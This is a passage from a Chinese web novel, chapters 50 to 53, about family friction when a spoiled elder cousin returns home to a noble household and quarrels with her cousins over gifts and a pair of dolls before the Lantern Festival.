今岁除夕因为楚老太爷回金陵的缘故,忠毅伯府很是热闹,楚长山虽然有了年纪,但一点儿也不服老,众人坐在一处守岁,热热闹闹的度过,楚长山甚至还陪着几个小的一块儿出门放烟花爆竹。 很是有趣。 楚家老大楚胜原定是初春归家,可陛下体恤臣子,让他们能得以归家团圆,一道圣旨送往边城,楚胜便协通家眷一道回金陵。 一家三口紧赶慢赶,到底在大年初二的时候过了家。 忠毅伯府就愈发热闹。 那是沈瓷头一次见到大姐姐楚秋灵,收到消息的时候也有不少的期待,可真正假面的时候却不是那么一回事,无论是她们几个还是楚秋灵,反应都大差不差,只是知晓有这么个人,却从未见过。 在长辈的见证下打过招呼后,迎接彼此的便是无尽的尴尬。 楚修筠和楚景澄早早为楚秋灵备下见面礼,沈瓷几人也是一样,只是她们不知楚秋灵喜欢什么,选见面礼便往贵重的去选。 楚秋灵本是很期待的,只是回到院子将这些打开一看,脸色就有些不大好,她气恼的将匣子合上往桌上一扔。 屋子里的动静,惊动了在外头指挥婆子的楚大夫人。 她走进来问道,“这是怎么了?” 楚秋灵没说话,只是脸色难看的厉害,大夫人也没指望能问出什么来,拿起桌上的匣子问道,“可是哥哥送你的礼物你不喜欢?” “不是哥哥送的,是二妹妹三妹妹和表妹送的。” 大夫人就将匣子打开,里头是极漂亮的珠宝首饰,“这不是挺漂亮的?” “有什么好的?”楚秋灵气恼的开口,“她们自个儿都不戴这些,偏偏送我这些是什么意思?” 她可是看明白了,她们三个戴的首饰都是一样的,就连脖子上的璎珞也是如此,只是颜色不同。 “这…”楚大夫人尚未弄明白其中缘由,在楚秋灵的诉说中才知女儿是不喜欢这些。 “这首饰的样式其实挺好看的。”楚大夫人拿起一支簪子细细的看了看,“单看也是好看的,这么些金首饰可要花不少的银子。” 匣子里的首饰很贵重,楚秋灵自然知晓要花不少的银子,可他们府上像是缺银子的吗? “枉费我费尽心思的替她们选见面礼,可她们倒好,就是这般打发我的。” “贵重是贵重,但一点儿也不用心。”楚秋灵简直要被气哭。 为何她们几个的首饰都一样,独独自己不一样? 沈瓷等人全然不知她们送的礼物被楚秋灵嫌弃成这般,她们本就和大姐姐不熟悉,也不知道她喜欢什么,思来想去还是觉得送些漂亮首饰更合适。 那些首饰都是她们精挑细选的。 想着总是不会错的。 楚秋灵趴在桌上哭了一场,楚大夫人颇有些头疼,这事儿闹得让她实在无奈,若说几个孩子的见面礼自然是没问题的。 只是自家姑娘说的倒也不差,毕竟首饰何处买不到? 倒不如送些更有意义的。 楚大夫人全然不觉得自己的想法有多大问题,只一个劲的安慰着女儿,好不容易才将女儿哄好。 外头就有丫鬟通传,说是二姑娘三姑娘还有表姑娘要出门,问大姑娘去不去。 楚大夫人刚要答应,楚秋灵就嚷嚷起来,“我不去。” 丫鬟在外头不敢应声,楚大夫人看了女儿一眼刚要开口劝她,就被打断。 “娘,我不去。” “好好的为何不愿意去?你回来的时候不也说要和妹妹们好好的相处?”楚大夫人温柔的哄着孩子,“你从前不是羡慕旁人有姐妹一块儿玩耍吗?” “她们几个玩得好好的,哪里还有我的位置?”楚秋灵可一直都记得先前在祖母跟前是什么场景。打完招呼之后她们几个坐在一处,唯有自己孤零零的坐在祖母的身边。 几个人坐在一处,衣服款式一样,首饰也一样,她们凑在一处小声的说着话,俨然默契十足。 反观自己,很是格格不入。 “我才不去,她们也不是真心想要邀请我一块儿去的,想来是迫于无奈,谁让祖母说要她们好好的照顾我?”楚秋灵想起先前的事儿,心里就拧巴的不行。 堵着气不肯去。 楚大夫人素来劝不动她,但今日才回家,也不愿女儿和姊妹们生了嫌隙,便让丫鬟陪着楚秋灵,而她自己亲自去和侄女解释起来,“大姐姐刚从边城回来,赶了许久的路身上有些不大舒服。” 楚大夫人温柔的解释着,让她们几个好好的玩。 楚映梦说想要去探望楚秋灵,楚大夫人知道这是出于好意,但楚秋灵如今的模样哪里适合让人瞧见? 本着多一事不如少一事的心思,楚大夫人将几人给哄走了。 沈瓷几人虽然有心想要和楚秋灵亲近,但见楚大夫人这么说,也没再多言。 楚秋灵等母亲走了后就迫不及待的让丫鬟去打听情况,不多时丫鬟回来了,楚秋灵忙不迭的问,“她们几个走了?” 丫鬟点了点头。 楚秋灵满心不悦,这份不悦再得知楚修筠和楚景澄也一块儿出门看戏的时候,到达了顶点。 “你说…什么?”楚秋灵愣愣的看向丫鬟,“你说哥哥他们也一起去了?” 丫鬟沉默的点了点头。 楚秋灵顿时觉得委屈极了,她知晓是她自己不愿出门,可这会儿听见几人全部都出门去看戏,她心中很是难受。 “怎么就,全走了?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第51章 第51章没法儿和大姐姐好好相处 忠毅伯府内,楚秋灵得知了这个消息后,又忍不住的开始发脾气,丫鬟很快就请来了楚大夫人。 楚大夫人无奈道,“好端端的这又是怎么了?若你想要出门,娘陪你出去可好?” “我不去。”楚秋灵毫不犹豫的拒绝,她哪里是真的想要出门?不过是不想这么被人忽略罢了。 但这些话她根本不会说出口,楚大夫人显然知晓她的性子,一直耐心的哄着她,才将人给哄好。 待母亲走后,楚秋灵就找来了自己的丫鬟,“你去府上打听打听…他们平时的关系如何。” 楚秋灵这话有些没头没脑的,但丫鬟跟了她许多年瞬间就知晓主子想要知道什么,立刻就转身出去打听消息。 沈瓷几人全然不知楚秋灵在府上发脾气的事情,她们虽有些担心大姐姐的情况,可楚大夫人都说她没事,只是要歇息,几人也就没有多想,高高兴兴的出门听戏。 楚修筠和楚景澄自然也在一块儿。 只不过楚修筠比起先前,稍稍的有一些恍惚。 他的弟弟妹妹都不是一些没心没肺的人,早早的发现他的情况,若不然也不会大年初二就往外头跑,此番名为听戏,可几人坐在雅间半点都没有去看名角的心情。 反而一个个看着楚修筠。 面对几人不加掩饰的担忧,楚修筠心中似有暖流淌过,“怎么都这般 看着我?” “哥,你还好吗?”楚景澄有些担心的问道,他并不怎么细心,平时也大大咧咧的,总会闹出不少的笑话,可对于哥哥他很关心。 也许是因为兄弟俩从小一块儿长大,也许是楚景澄自小就知道哥哥和自己不是一个母亲生的,楚景澄从小在这件事上就很敏感。 如今大伯父一家突然回来,还带了一个孩子回来,明眼人都能够看得出来,大伯母对楚秋灵有多么的在意,几人都很担心楚修筠的情况。 “只是觉得有些别扭。”楚修筠很难去形容自己的感受,想要亲近,又不知怎么亲近。 他已过了那个需要父母陪伴的年纪。 何况这么多年他的身边也早有人填补了父母的空白。 婶娘对他而言,就是母亲一般的存在。 叔父待他亦如亲生子,凡事有商有量,在学业上也是诸多关心。 “多年未见,见了面之后也没有想象中的激动。”楚修筠不停的回忆着见面时候的种种,他并没有太多的感触,只是见到了一直都想见的人,可他连他们的模样都有一些忘记。 几人担心楚修筠的情况,却又不知道要如何安慰他,坐在一处愁眉不展的。 楚修筠看见他们一个个耷拉着脑袋,忍不住的笑了起来,“我当真没事,一家团圆总是好事,只是起初有些不大习惯,时间久了也会习惯。” 毕竟日子还要过下去,那是他的亲生父母,打断骨头还连着筋。 父母和妹妹,本应该是他最亲密的人,可这么多年他们从未出现在自己的身边,他知父母身不由己,更知此事和妹妹毫无关系。 但若说心里毫无芥蒂,又如何可能? 楚修筠并没有说太多,沈瓷几人自然也不会问太多,他们热热闹闹的听着戏,又让小厮去排队买糕点,商量着之后要去何处。 正月里要走亲戚,但走完亲戚之后他们也想着出门玩一玩。 因为一些不太好的回忆,他们已经不想去青莲寺,正想着之后要去哪里烧香拜佛。 “可以去七星寺。”楚思怡立刻说道。 “这地方怎么那么耳熟?是求什么的?” “求姻缘。”楚映梦开了口,一时间好多人看了过来,看的楚二姑娘都有些受不住,“这么看着我干什么?这地儿又不是我说的,是映梦说的。” 楚修筠和楚景澄就看向楚思怡,两个哥哥开始反思是不是最小的妹妹情窦初开,所以想要去求姻缘。 但看着左手拿糕右手拿糖的人,又觉得不太对。 “是给表姐求呀。”楚思怡一副理所当然那的模样,“去拜拜,万一能得个文武双全的表姐夫呢。” 楚思怡说的理直气壮,结果还真把哥哥姐姐们带偏了,他们想想也觉得是那么回事,于是去哪里烧香拜佛,就变成了什么时候去七星寺求姻缘。 沈瓷想要反驳,压根就没人听她的意见。 她有点儿无奈,这姻缘难道不需要她去求的吗? “到时候喊上表哥和裴姝一起去七星寺拜拜。”楚思怡想法简单,另外几个也没反驳,想着过几日去永宁侯府走亲戚时问一问裴家兄妹。 商量完之后,楚映梦问起要不要约楚秋灵一起去。 几人就看向了楚修筠。 楚修筠揉了揉自己的额头,提了个中规中矩的回应,“回去问一问秋灵的意思,若是她愿意去,就一块儿去。” 都是兄弟姐妹,总不好厚此薄彼。 事儿就这么定下了,几人回府的时候带了不少的糕点,有一些是给楚大夫人和楚秋灵的,这一部分交到了楚修筠的手上。 由他亲自送过去。 楚修筠觉得别扭,不知要怎么和母亲妹妹相处,可他的弟弟妹妹们,却千方百计的为他创造不少的条件。 糕点送到了楚大夫人和楚秋灵的手中,楚大夫人留了楚修筠说话,楚秋灵显然还在生气,神情淡淡的,楚修筠全程都在和楚大夫人说话。 两人之间很是生疏。 多是楚大夫人说,楚修筠回答。 气氛有些不自然,好在母子俩都有分寸,即便不知道能说什么合适,也还是能够顺顺利利的将话题顺着说下去。 只是其中有多少的别扭,也唯有当事人才知晓。 楚秋灵坐在一旁早已经听得难受起来,可他想起母亲的嘱咐,到底是忍下了,开始找起话题来,“哥哥,你们今日去了何处?” “去听了戏。”楚修筠轻声回答,同楚秋灵说起她们去了何处,听了什么戏,他的复述很简单,听得楚秋灵很是艳羡。 她眼中的羡慕根本就藏不住,楚修筠开口安慰她,“等你身子好些,就一块儿出门瞧瞧,金陵很是热闹。” 楚秋灵心情好了些,答应的也欢快了起来,“嗯。” 她这会儿才有空去看楚修筠带回来的糕点,捏了一块漫不经心的吃了起来,糕点软软糯糯很是香甜,楚秋灵的眼睛都亮了起来,“哥哥,这是什么糕点?” “双月楼的云片糕。”楚修筠随意回答,实在是因为买的多了些。 楚秋灵吃着香香甜甜的糕点,心情愈发的愉悦起来,她问兄长怎么想着买糕点了,楚修筠倒也没瞒着,说先前经常买。 “映梦她们都很喜欢,双月楼的糕点金陵一绝,我就想着你也许会喜欢。”楚修筠平静回答。 可楚秋灵的脸色却肉眼可见的不好看起来,原本雀跃的语气也淡了七八分。 她并没有掩饰,楚修筠看的清清楚楚,他其实并不了解自己这个妹妹,见她一会儿高兴一会儿生气的,也有些摸不准头脑,下意识的想要去看母亲。 楚大夫人也尴尬的不得了,连忙开口打圆场。 只是她打圆场,楚秋灵却没有配合,依旧还是那么一副态度,惹得楚修筠愈发莫名其妙,难不成是他说错了什么话? 眼看气氛越来越僵,就在楚大夫人想要强行转移话题的时候,外头传来了丫鬟通报的声音,“世子,大夫人,大姑娘,老太太院里传饭了。” “知道了。”楚大夫人打发了丫鬟,便自然而然的将话题扯到了这上头。 楚修筠当然配合。 他见楚秋灵神色有异,料想母亲是有话要和妹妹说,便体贴的告辞。 楚大夫人其实想和楚修筠说他们一块儿过去,但女儿这边… 她看了一眼楚秋灵,到底是没开口挽留,楚修筠只当不知母亲的犹豫和选择,干干脆脆的离开。 等到人影都瞧不见,楚大夫人才看向一旁的女儿,“你到底是怎么了?” 从回到家中开始,楚秋灵就是这么一副模样,饶是楚大夫人有再多的耐心,都要被消耗完了。 “娘…您不是告诉过我,哥哥一定是最喜欢我的吗?可我怎么瞧着哥哥对二妹妹三妹妹更好些?他们倒也罢了,就连沈瓷都比我多得哥哥在乎。” 楚大夫人头疼不已。 她也没想到女儿竟然在乎这些… 人的感情都有亲疏远近,这要她怎么解释? * 母女俩各有心事,到福寿堂的时候有些晚,两人刚刚进屋,就看见沈瓷几人坐着一块儿玩翻花绳,那花绳在几人之间传递,楚修筠和楚景澄也加入其中,有着说不出的默契。 堂屋里的长辈分明都瞧见了,却并未阻止。 楚秋灵想起自己在边城时的闺中密友,她总羡慕她家中热闹,羡慕她哥哥待她好,但楚秋灵想,手帕交的哥哥,应当也不会陪着妹妹玩翻花绳。 “大姐姐,过来一起玩?” 楚思怡的声音响起,楚秋灵听得分明,可不知道出于什么心思,她还是拒绝了,走到了楚老夫人的身边裴祖母说话。 几人不知楚秋灵别扭心思,只当她不喜欢,也没有再说什么。 楚秋灵脚步一顿,再也没去多看一眼,走到祖母身边扮乖。 家中人到齐了之后,沈瓷几人收了花绳,一个个净手后坐了下来,楚老夫人领着楚秋灵坐到自己身边。 大家族总有许多规矩, 但楚老夫人不愿拘着小辈,极少给他们做什么规矩。 一顿饭吃的其乐融融,楚老夫人感慨这才是真正的团圆。 用过晚膳,她也没让人各自散了,留下他们一块儿说话,大多时候都是楚秋灵说他们听着,气氛倒也是不差。 楚老夫人听他们几个邀请楚秋灵过几日一块儿去七星寺拜佛,心里有些高兴,拍着楚秋灵的手,“一块儿去金陵逛一逛。” 楚秋灵当然答应下来。 心中也隐隐的有了些期待。 甚至开始期待着那一天的到来,只是没曾想她们还没来得及一块儿去拜菩萨,就先闹了矛盾。 楚秋灵一直在哭,楚思怡倒是没哭,但却怎么都不愿和楚秋灵来往。 家中长辈也不愿大过年的家庭不睦,便去询问原因,知晓是因为一对大阿福之后,楚长山便提出去买一些回来,人人都有,就不会吵起来。 但楚大夫人却来楚思怡,同她商量能不能将那对大阿福先让给她大姐姐,之后由她出银子,再买一对还给楚思怡。 “不要。”楚思怡想也没想的拒绝。 这事儿其实说大不大,说小也不小,“大阿福有很多,形态各异都很漂亮,大姐姐若是喜欢,大可以自己去买,我都已经将铺子告诉她了,为何非要我手上的这一对?” 大阿福虽然都很漂亮,但并没有一模一样的,楚秋灵喜欢她手上的那一对,楚大夫人的意思是让楚思怡先将娃娃送给楚秋灵,自己再去买一对。 “不要。”楚思怡听到这儿,只觉得有些委屈,“她喜欢我便要让吗?为何非要我的?” “思怡…这不都是大阿福?” “您若真这般觉得,就不会来同我商量。”楚思怡眼泪扑簌簌的掉,有理有据的反驳着,“既然您也觉得一样为何非要我的?不能另外给她买一对吗?” 楚思怡原本是没有哭的,这会儿委屈极了,还是楚老夫人闻讯赶来,二话不说的将孙女护在怀里哄,“祖母给你做主,不会将你的娃娃给旁人的。” 楚大夫人还想说些什么,被楚老夫人瞪了一眼,“你若无事就去哄一哄你的女儿,莫要在这里生事。” 楚老夫人压根一句话都不想和大儿媳说,楚大夫人自知理亏,摸着鼻子走了出去。 第52章 第52章人和人之间的缘分,有深有浅…… 楚思怡哭了许久,楚老夫人什么都没多问,只是一味的哄着,并且承诺不会把她的大阿福送给楚秋灵。 这件事其实是小辈们之间的事,按理长辈们不应该插手,偏偏大儿媳妇拎不清,宠女儿宠的无法无天,非要介入。 楚思怡本来什么事儿都没有,一直以来也都开开心心的,如今哭的这般委屈,楚老夫人自然心疼。 她一点点岔开话题终是将人给哄好了,最后楚映梦和沈瓷过来,将冷静下来的人给带走了。 楚老夫人笑着看几个孩子离开,一转眼脸色就冷了下来。 “老太爷如今在何处?让他忙完了过来见我。”楚老夫人冷冷道,而后又觉得心里头堵得慌,让人去寻了楚胜来。 父子俩被喊道福寿堂的时候也是一脸的莫名。 楚长山看着大儿子问道,“你得罪你娘了?” “没…”楚胜这些日子忙的不得了,也唯有晨起请安的时候才能见一见母亲,哪里会去得罪母亲? 二人对视一眼,全然不知发生了何事,忐忑的来到楚老夫人面前。 楚老夫人也没同他们废话,只是问楚胜能不能管好媳妇和女儿。 楚胜满脸的错愕,“母亲此话何意?” 楚老夫人冷冷的将方才的事情全部说了出来,楚胜愣在了当场,“…什么?” 他当真没有想过妻子竟会这般,居然还直接找到了侄女的面前,还有没有一点长辈的分寸? 楚胜心里有些慌,但还是下意识为妻子开脱,“许是有什么误会…” 楚长山也是一愣,这事儿还没完了? “我不是已经让府上下人去采买?” “她一个长辈,非要和小辈来计较?”楚老夫人心中有气,看大儿媳妇不顺眼,如今看大儿子也是不顺眼。 楚胜跪在地上请罪,“还请母亲恕罪。” 楚老夫人随意的挥了挥手,让楚胜自己将这件事处理好,若是处理不好就不用来见她。 楚胜不敢多言,匆匆的离开福寿堂。 楚长山看着老妻欲言又止,“夫人…” “你若是要为你的大孙女说情,那就别说了。”楚老夫人如今心里烦得很,半点也不乐意听这些话,“都是孙女,你难道要厚此薄彼偏心不成?” “夫人说的哪里话?怎么就成我要偏心了?”楚长山揉了揉额头,都是自家孙女他如何会偏心? 何况这件事原本也是楚秋灵做得不对。 “秋灵被老大媳妇给惯的,但孩子本性不坏,只是性子骄纵些…”在边城的时候,老大和老大媳妇唯有一个孩子在身边,难免。 “老大媳妇这般溺爱,就不怕害了孩子?” 楚老夫人这会儿心里有气,她着实不明白老大媳妇怎么好端端的能把个姑娘教成这般? 楚长山也不愿这个时候去惹妻子生气,便岔开了话题,“思怡可还好?” “映梦和阿瓷陪着。”楚老夫人淡淡道,告诉丈夫不准插手此事,楚长山认真的点了点头,连连保证自己绝对不会插手,让妻子放心。 但楚长山还是想知道究竟发生了何事,毕竟他也是一知半解。 楚老夫人长长的叹了一口气,同丈夫解释起来。 那日楚大夫人本是带着楚秋灵去见裴氏,母女俩说完话离开时撞上了高高兴兴去找母亲说话的楚思怡。 楚思怡见着楚大夫人自然要问安,楚大夫人便问楚思怡从何处来,楚思怡刚得了一对大阿福,很是高兴,见大伯母问起也没吝啬,原原本本的说了。 楚秋灵看到那娃娃也夸了一句,“这娃娃倒是特别。” “这是大阿福。”楚思怡同楚秋灵解释了这娃娃的由来,楚秋灵不在金陵长大,自然不知这些东西,她听得有趣。 原本也没什么,可谁让楚秋灵无意间得知那是楚思怡要送给沈瓷的。 知晓这事儿之后,楚秋灵只觉得委屈,她想起那些没什么心意的首饰,再看看这个精挑细选的娃娃,心中分外难受。 回到住处就心不在焉的。 楚大夫人紧张这个女儿,便问她是怎么了,楚秋灵自从回到金陵,就没遇到过什么顺心事,曾经以为的都是假的,并没有什么人在意她。 兄弟姐妹对她态度冷淡,祖母对她也是淡淡的,虽然温和却有些疏离。 瞧着另外几个的时候一脸的慈爱。 如今又出了这娃娃的事儿,楚秋灵也问过楚思怡为何要送给沈瓷,她起初以为是沈瓷的生辰快到了,谁知楚思怡只说沈瓷喜欢这些,她瞧见了好看的就买了回来。 楚秋灵听得很明白,并非是生辰或者节礼,只是因为沈瓷喜欢这些,她放在了心上。 楚思怡说起这话的时候满是喜悦,这份惦记却刺痛了楚秋灵的心,她小声的说自己也喜欢,这话说得有些莫名,可到底存了什么心思,唯有楚秋灵自己知道。 但楚思怡不知,见楚秋灵喜欢就告诉了她是在什么地方买的。 “可我瞧着,这两个就很可爱。” “大阿福都很可爱的,大姐姐可以去看一看。” 楚思怡没当一回事,后来楚大夫人去铺子里看了,才知没有一模一样的,每一对都不一样。 楚秋灵也不知犯了什么病,就说喜欢楚思怡手里的那对,惹得楚大夫人硬着头皮来问楚思怡能不能先将娃娃让给她。 楚思怡当然不愿意。 楚秋灵其实是心里头难受,她在乎的并非娃娃,只是在乎不被兄弟姐妹在乎。 那些心思被藏得好 好的,楚秋灵不愿意说,楚大夫人也就误会了。 但这事儿一出,楚秋灵那争强好胜的心思就冒了出来,原本不是非要楚思怡手上那对,如今到好,她是真的想要了。 “原是这么一回事。”楚长山皱了皱眉头,“所以秋灵这是吃醋了?” “不知。”楚老夫人没有去下什么结论,毕竟她和大孙女实在是不熟悉,楚长山原本担心的事情到底还是发生,家里的几个孩子和大孙女当真无法好好相处。 他问妻子如何是好。 楚老夫人却淡定得很,“还能如何是好?孩子们的事情就让孩子们自己解决。” 楚老夫人打定了主意不会插手,也勒令楚老太爷不准插手。 楚老太爷立刻答应下来。 这件事儿在府上并不是秘密,裴氏当然有所耳闻,见女儿哭的如此伤心,心中自然不悦,她心思同婆婆一样,全然不知大嫂怎么就将孩子给教成了那般。 她喜欢旁人就要让? 不让就让长辈来出面? 这是个什么道理? 裴氏亲自来看了楚思怡,楚思怡这会儿已经没再掉眼泪,但眼眶红红的,任谁都看得出来先前哭过一场。 要说如今最尴尬的还是沈瓷,这事儿说来说去是因为她。 那对引起了腥风血雨的娃娃,如今在她的屋子里放着,沈瓷也没想过她只是多看了几眼就被思怡记在心里,她当然是感动的。 但这事儿就… 大舅母去找了思怡,也不知会不会来找她,若真的来了,沈瓷想自己和大舅母,往后怕是就没什么情分可言了。 这娃娃她是不会让的,但这样势必会让大舅母不悦。 裴氏也是头疼,她安慰着几个孩子让她们不要放在心上,这件事情她会去处理的。 楚思怡还是委屈,“母亲要做什么?要给她也送一对娃娃吗?” 裴氏看了眼孩子,无奈的揉了揉她的脸,真真是委屈了,这会子连大姐姐也不愿意喊,裴氏也不舍得勉强,哄着她说话,“便是送也不送大阿福。” 裴氏哄好了楚思怡,又让沈瓷不要在意,她不愿自家孩子委屈,可妯娌之间也不能闹得太难看,要是大嫂当真不要脸面,到时候难受的不还是孩子? 她自有解决的法子,但不好对孩子们明说,随手从荷包里取出一些银子让她们出去玩,“别闷在府里,去找两个哥哥一块儿出去玩。” 裴氏压根没想着要家和万事兴,倒是楚大夫人还在想着要怎么去和沈瓷商议的时候,就被匆匆赶回来的丈夫训斥了一顿。 楚大夫人不由心虚,“不就是一对娃娃,让与秋灵不就是了,怎的这般小气。” “你还说。”楚胜冷冷的瞪了她一眼,“你也会说就是一对娃娃,为何就非要?” “你若实在教不好孩子,我就请母亲教她。”楚胜公务繁忙,这些年对楚秋灵也是疏于管教,全然不知孩子如今成了这般模样。 楚大夫人知道丈夫说一不二,想着这种可能顿时心慌不已,病急乱投医的带着楚秋灵去道歉,可楚秋灵从小就说一不二,如何愿意道歉? 楚大夫人没法子只能亲自来找裴氏,尴尬的同弟妹说话,“这事儿都怪我处理的不妥当,思怡在哪里?我和她好好的说一说。” 谁知裴氏竟让三个孩子出去玩了。 “弟妹,这…” “孩子们今日心情不大好,我便做主让他们出去玩了。”裴氏半点没迂回,直截了当的开口,至于楚大夫人听了心里如何想,裴氏不太在意。 “孩子们的事儿,就交给孩子们来解决。” 楚大夫人说了那么多,非但没听见一个满意答复,软钉子倒是碰了不少。 楚老夫人和裴氏都是一脉相承的护犊子,可不是谁哭谁就有礼,府上小辈的关系也愈发的僵持。 楚思怡原本瞧见大姐姐还会邀请着一块儿玩,如今眼不见为净,路上碰见都要绕道走,若论亲疏远近,沈瓷和楚映梦自然同楚思怡更亲。 便也没有同楚秋灵来往。 倒是苦了楚修筠和楚景澄。 妹妹们闹别扭,他们…他们还是躲远些。 省的城门失火殃及池鱼。 * 一转眼时间就到了正月十五上元节这天。 她们原本约好是要一块儿出去玩的,这一起的人选里头当然也有楚秋灵。 可楚秋灵迟迟没有来道歉,楚思怡也不是没脾气的人,坚决不肯同她一起出去玩。 楚秋灵本是想这么糊弄过去的,她的情绪来得快去的也快,那日之后楚老爷子买了许多大阿福回来,每人都有一对。 楚秋灵选中了心仪的,先前的情绪也就烟消云散。 楚秋灵还欠着楚思怡一个道歉,只是她心里不愿,也不肯主动放下身段求和,和姐妹们的关系也就一直僵持着。 眼看元宵将至,哥哥妹妹们都在讨论要去赏灯,却迟迟每人来邀请她,楚秋灵心里着急,又放不下脸面。 楚修筠已同楚思怡商议好,若是楚秋灵来道歉,他们也可一同出游。 谁知到了元宵这一日,她还是不出现。 这天早上,楚秋灵早早的打扮好等着丫鬟来喊她,祖母和母亲总不会真的任由她们这样僵持着吧? 她忐忑的等着,结果她没等来丫鬟,反而等来了哥哥。 楚秋灵本以为楚修筠是来带她出门的,谁知楚修筠却来劝她道歉。 “什么?”楚秋灵心中不悦,母亲和父亲都劝过她,但她根本不愿意道歉,“我都已经知道错了,她还要如何?非要我和她道歉吗?” “你既知道错了为何不去道歉?”楚修筠敲了敲桌子,耐着性子问她哪里知道错了? “我心里头已经知道错了。”楚秋灵怯怯开口,楚大夫人见女儿眼里含着两包泪,这心霎时就软了,开口和稀泥。 “你妹妹真的知道错了,你和思怡说说,让她不要计较,都是一家人。” 楚修筠听见这话只觉得莫名其妙,他虽不知过去这些年母亲是如何教养妹妹的,但从这几句话中也能窥见一二。 做错了事,这般轻描淡写就能揭过? 就连道歉也不愿意自己出面,还要长辈替她? 枉费他还在思怡面前说那么多的好话。 真真是… “想来你还没弄明白错在何处,既如此就好好的待在家中反省反省。”楚修筠不予多说,转身就走。 楚秋灵顿时傻了眼,“哥哥,你不是来接我出去看花灯的?是来让我和楚思怡道歉的?” 楚修筠不置可否。 楚秋灵在楚修筠走后气得不行,将桌上的东西全部都砸在了地上,身上那精致的首饰也全部被她拔下来,狠狠的扔到地上。 楚大夫人连忙去拦着她,“你这是做什么?” “我们一会儿还要出门…” “你们自己去吧,我不要去,我才不稀罕。”楚秋灵恼火的开口,“他们也根本不想我去,我不去他们才高兴。” 楚秋灵沉浸在自己的思绪当中,无论楚大夫人怎么劝都劝不听。 另一边楚修筠一人去一人回,心中自是烦躁的,可到了弟弟妹妹面前,这些情绪早已经消失不见。 楚修筠走到外头,对着几人道,“我们走吧。” 沈瓷疑惑的看向大表哥的身后,问出了楚思怡一直想问的话,“大姐姐,不来吗?” “不来。”楚修筠本想粉饰太平,想了想又觉得没有必要,“她不知道自己错在哪里,既如此刚好让她自己冷静冷静。” 楚修筠没有留恋的离开,莫说是楚秋灵,便是楚大夫人心中也不怎么乐意。 “娘,比起我们,哥哥是不是更喜欢二妹妹三妹妹和婶娘?” 楚秋灵的话戳中了楚大夫人心中最隐秘的痛,楚秋灵都能够发现的事情,这些日子她又怎会不发现? 她早就发现楚修筠和裴兰清的关系更加亲密,楚修筠知道裴兰清喜欢什么,不喜欢什么,她去见楚修筠总能看见裴氏的丫鬟过去送药膳。 楚大夫人问过,那是裴氏特意给楚修筠准备的,楚修筠不大爱吃,但每回回都会喝完,裴氏问起时他还会小声的抱怨几句。 他们之间的相处,更像母子… 而她和儿子之间,仿佛隔着什么。 楚大夫人也很想问问楚修筠,是否在他眼中,婶娘更像他的目前,只是这些话她说不出口。 人和人之间的缘分,有深有浅。 不追问,也许还能太平些。 第53章 第53章沈瓷,我觉得亲上加亲也不是…… 楚思怡格外记仇,知晓楚秋灵不同她们一块儿出门之后,心情肉眼可见的好了起来。 她原本妥协也是因为在乎大哥,如今楚修筠自己都不在乎,楚思怡当然不当回事,几人高高兴兴的出门,先去找了裴珩和裴姝,再去和季衍会和。 经过那么久的相处,季小将军早已经变成了自己人,早早的来到酒楼占了位置,把几个妹妹喜欢的糕点全部都点上,完美诠释了什么叫做姐夫的修养。 只是季衍很敏锐的感受到大舅哥的兴致不怎么高,他想了想便凑到楚映梦的身边咬耳朵,“发生什么事了?” “你不是说你大姐姐回来了?这回没一起过来?” 楚映梦叹了一口气,找借口说楚秋灵不大舒服所以没出来。 至于别的她也不想提。 谁让这不是什么适合拿来谈论的事呢。 季衍一头雾水,裴珩和裴姝也是云里雾里,裴姝还能关心的问上几句,裴珩压根就没理会。 他只是一门心思的想着要找什么借口才能将誊抄好的游记交给沈瓷。 何况今日上元节,他有更重的私心。 外头热闹极了,比七夕那时候更热闹,楚思怡随便的吃了两口就迫不及待的要出去玩。 没有人拦着楚思怡,外头人多,他们一群人也不在少数,走在一处自然是不可能的。 只能三三两两的分开。 楚思怡喜欢热闹,瞧见好玩的就不管不顾的过去,楚景澄也和她差不多的性子,一跑就没影了,楚修筠一手拽着一个,也顾不得别人,直接跟了上去。 裴姝看了眼哥哥又看了一眼沈瓷,再看看另外一边的表姐和未来表姐夫,毫不犹豫的跟上了楚思怡,“思怡,你等等我。” 季衍原本就只想着和未婚妻单独相处,原先是没有机会,这会儿好不容易有了机会自然不放过,“我们去那边玩。” “这不好吧?” “这会儿不走什么时候走?” 季衍领着楚映梦光明正大的离开,待沈瓷回过神来,只剩下她和裴珩。 沈瓷:“……” “他们…人呢?”裴珩眼睁睁看着几人四散开,待完全看不着人后,才一脸诧异的看向沈瓷,沈瓷听见动静有些无奈的看过来,随后摇了摇头。 “没,没瞧见。” 就那么一晃眼的功夫,人就不见了,她和裴珩面面相觑。 恍惚间沈瓷想起去岁七夕时候的事,只觉得有点头疼,怎么好端端的,又变成了这般? “可有瞧见他们往哪儿去了?” 裴珩冷静问道。 沈瓷指了指东边,又指了指南边…发现连影子都没看见,最后只能摇头。 裴珩无奈的叹了一口气,轻声道,“走吧。” “什么?”沈瓷一时间没想明白,他们要往哪儿走? “先四处看一看,总不能一直站在这儿,人已经越来越多。”裴珩冷静开口,替她挡住了挤过来的人群。 沈瓷也发觉不能就留,顺从的走到裴珩的身后,和他一块儿离开此处。 两人走在一处,距离不远也不近,沈瓷一直在找寻几人的下落,并未察觉什么,但裴珩所有的注意力都在沈瓷的身上。 今日比七夕时更加热闹。 如此良辰美景,裴珩并不希望沈瓷将所有的心思都放在找人上头,“我方才瞧见裴姝跟着思怡一块儿走了,他们几个应当在一处。” “那,表姐和季小将军不和他们在一起吗?” “大概。”裴珩答得飞快,莫说他看的千真万确,便是没瞧见也能够猜出季衍的心思,上元佳节,不陪着未婚妻和一堆人挤在一块儿做什么? “修筠和景澄会照顾好她们,倒也不用着急,可以瞧一瞧花灯,上元节的灯会比七夕时候更加热闹。”裴珩耐心十足的介绍着花灯。 沈瓷没有辜负他的好意,顺着他的视线看过去。 果真如同裴珩说的一般,花灯很漂亮。 她其实不是着急,只是不知道要怎样平常心的对待裴珩,沈瓷总觉得有一些奇怪。 裴珩闲庭信步的态度影响到了沈瓷,她原本心里头还有些焦虑,这会儿逐渐平静。 七夕虽然也有灯会,可比起上元节却不值一提,今日从早到晚,载歌载舞。 沈瓷看的目不转睛,她觉得就连花灯也比之前的好看。 这花灯上都悬挂着灯谜,沈瓷只能看得懂一部分,还有一些根本看不懂,这让她有些挫败,明明先前她还能看懂一些的。 怎么这一回的这么难? 沈瓷下意识的就要离这些花灯远一些。 